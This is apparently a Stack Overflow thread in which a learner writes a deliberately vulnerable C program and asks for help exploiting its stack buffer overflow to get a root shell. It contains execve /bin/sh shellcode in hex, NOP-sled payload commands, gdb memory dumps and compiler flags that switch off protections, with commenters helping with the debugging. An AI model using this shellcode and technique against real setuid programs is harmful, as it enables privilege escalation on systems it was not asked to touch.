6

I made a c vulnerable C code and tried to exploit it but it doesn't seem to work even though I copied other examples. I apologize if I included lot of code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hello(char *name){
    char name_buffer[24];

    strcpy(name_buffer, name);
    printf("Hello %s\n", name_buffer);

}

int main(int argc, char **argv){
    hello(argv[1]);
    return 0;
}

This is what it shows when I execute it

perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x00\x00" x 40' | ./a.out
Segmentation fault (core dumped)

The address in the input is the address of an environment variable SHELLCODE

cat shellcode
1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
//shellcode is "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" printed and piped using perl

export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode)

when I run the program in gdb:

run $(perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x01\x02" x 30')
// I added "\x01\x02" because if I just put \x00\x00 instead it won't get read due to bash ignoring null bytes. I did this so I can see that the SHELLCODE address is put is correctly put in place of the actual RIP
// break at line of strcpy(name_buffer, name);
i f
Stack level 0, frame at 0x7fffffffdcc0:
 rip = 0x555555554696 in hello (test.c:8); saved rip = 0x5555555546e6
 called by frame at 0x7fffffffdce0
 source language c.
 Arglist at 0x7fffffffdcb0, args: 
    name=0x7fffffffe117 "Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177", <incomplete sequence \351>...
 Locals at 0x7fffffffdcb0, Previous frame's sp is 0x7fffffffdcc0
 Saved registers:
  rbp at 0x7fffffffdcb0, rip at 0x7fffffffdcb8
(gdb) x/24xg name_buffer
0x7fffffffdc90: 0x0000000000000001  0x000055555555473d
0x7fffffffdca0: 0x00007ffff7de59a0  0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdcd0  0x00005555555546e6
0x7fffffffdcc0: 0x00007fffffffddb8  0x0000000200000000
0x7fffffffdcd0: 0x00005555555546f0  0x00007ffff7a05b97
0x7fffffffdce0: 0x0000000000000002  0x00007fffffffddb8
0x7fffffffdcf0: 0x0000000200008000  0x00005555555546c4
0x7fffffffdd00: 0x0000000000000000  0xb9bb56fbb5ab9e21
0x7fffffffdd10: 0x0000555555554580  0x00007fffffffddb0
0x7fffffffdd20: 0x0000000000000000  0x0000000000000000
0x7fffffffdd30: 0xecee03ae818b9e21  0xecee13118ed59e21
0x7fffffffdd40: 0x00007fff00000000  0x0000000000000000

As you see the return address is at 0x7fffffffdcb8 which is 0x00005555555546e6

Continuing, we can see that it is successfully overwritten in 0x7fffffffdcb8 to 0x02017fffffffe95a:

x/24xg name_buffer
0x7fffffffdc90: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdca0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcb0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcc0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcd0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdce0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcf0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd00: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd10: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd20: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd30: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd40: 0x02017fffffffe95a  0x02017fffffffe95a

I tried with an input repeating the address only once, twice and random values, but the error remains the same. I compiled the C code using:

gcc test.c -fno-stack-protector
//and also with
gcc test.c -fno-stack-protector -fno-mudflap

I doubt that the problem comes from the shellcode since I only copied it.

Edit : I get an error Program recieved signal SIGILL, Illegal instruction 0x0007fffffffffeaac in ?? (). I think this is because I removed suid from the program a.out, but when it has suid, I cant find the environment variable like I do when it doesn't has suid, it shows that all addresses are empty:

x/32s $rsp + 0x500      // where I normally find SHELLCODE variable
0x00007ffffdea4521: ""  // and the addresses are also very different than without suid
...
Eye Patch
  • 881
  • 4
  • 11
  • 23
  • 2
    The source of the overflow in your vulnerable code is an argument, not stdin. So you need to provide the exploit string as an argument, not piped to stdin. – Chris Dodd Apr 07 '20 at 03:08
  • But if I type "\x5a\xe9\xff\xff\xff\x7f\x00\x00" as an argument, the two \x00 wont get passed. And It wont overwrite correctly the return address. – Eye Patch Apr 07 '20 at 08:38
  • 2
    So you need different exploit string -- needs to be characters you can pass as an argument. – Chris Dodd Apr 07 '20 at 15:56
  • Oh okay. Can the memory address be written in another format so that It can overwrite the return address correctly? Or is there a way to get the stack to higher memory addresses so that I wont need to enter \x00 – Eye Patch Apr 07 '20 at 16:09
  • 1
    You don't need to pass the two higher bytes of the address. But you must figure out the exact amount of padding bytes between your shellcode and the address of it. There is a good [explanation](https://dl.packetstormsecurity.net/papers/attack/64bit-overflow.pdf). –  Apr 09 '20 at 10:23
  • 2
    @EyePatch Sorry, meant `-Wl,-zexecstack -fno-PIC -no-pie`. – S.S. Anne Apr 09 '20 at 19:21
  • I managed to overwrite the rip but shows an error: `Program terminated with signal SIGSEGV, Segmentation fault. 0x00007fffffffeaae in ?? ()` This address is a few bytes higher than the SHELLCODE address. But I don"t understand the problem. That address would hold a NOP byte. – Eye Patch Apr 09 '20 at 21:32
  • 1
    I would make sure that the environment variable is not changing position due to other environment variables being added or taken away (say, by running the program in `gdb` vs. outside of `gdb`). Also, as @S.S.Anne pointed out, you should compile with an executable stack with `-z execstack`. – peachykeen Apr 11 '20 at 14:38
  • 1
    Is this 32-bit shellcode? Is it not working because you're using characters instead of hex escapes? – S.S. Anne Apr 11 '20 at 16:33
  • 1
    I suggest adding `perl` as a question tag – Abhay Aravinda Apr 11 '20 at 16:45
  • I don't really know perl. Nor do I understand what the perl code above does. However I'm quite certain that the segmentation fault is with the pipe operation. When we pass arguments by command line in c, we usually use xargs. You execute something like `echo "Hi" | xargs ./a.out` instead of `echo "Hi"| ./a.out` – Abhay Aravinda Apr 11 '20 at 17:24
  • @Abhay Avarinda The problem is not anymore in overwriting the return address. Im sorry i will edit the question. @peachykeen Im only testing in gdb environnement, not outside of it and I compiled with `-z execstack` @S.S. Anne I don't understand what you mean. The shellcode is in form of "\x51..." but I put it in environnemental variable using perl, so when I print it, it is in form of weird characters. I edited the question to clarify. – Eye Patch Apr 11 '20 at 18:58
  • 1
    I run your code like this: `./shellcode $(python -c 'print "A"*40+"\xc6\xe5\xff\xff\xff\x7f"')`. The `\xc6\xe5\xff\xff\xff\x7f` is environment SHELLCODE's address. It works give me "bus error". Maybe there is some problem in shellcode. `xor %eax,%eax; xor %ebx,%ebx; mov $0x6,%al; int $0x80`, I get those 4 instructions at the beginning of shellcode. Is this is your shellcode? – randomeval Apr 14 '20 at 13:58

1 Answers1

3

Your code is working perfectly fine.
Since you are using command line argument so you need to pass input string as well.
Output Screen Image Link This is how I complied.

gcc filename.c    

and this is how I executed.

./a.out AnkitMishra

This is what I got as Output:

Hello AnkitMishra
Ankit Mishra
  • 530
  • 8
  • 16
  • Yes. But I am not facing difficulties with the code itself. I am trying to overwrite the rip address to point to an environment variable to open a root shell. I managed to overwrite the rip but I think the problem is in the shellcode. – Eye Patch Apr 11 '20 at 14:10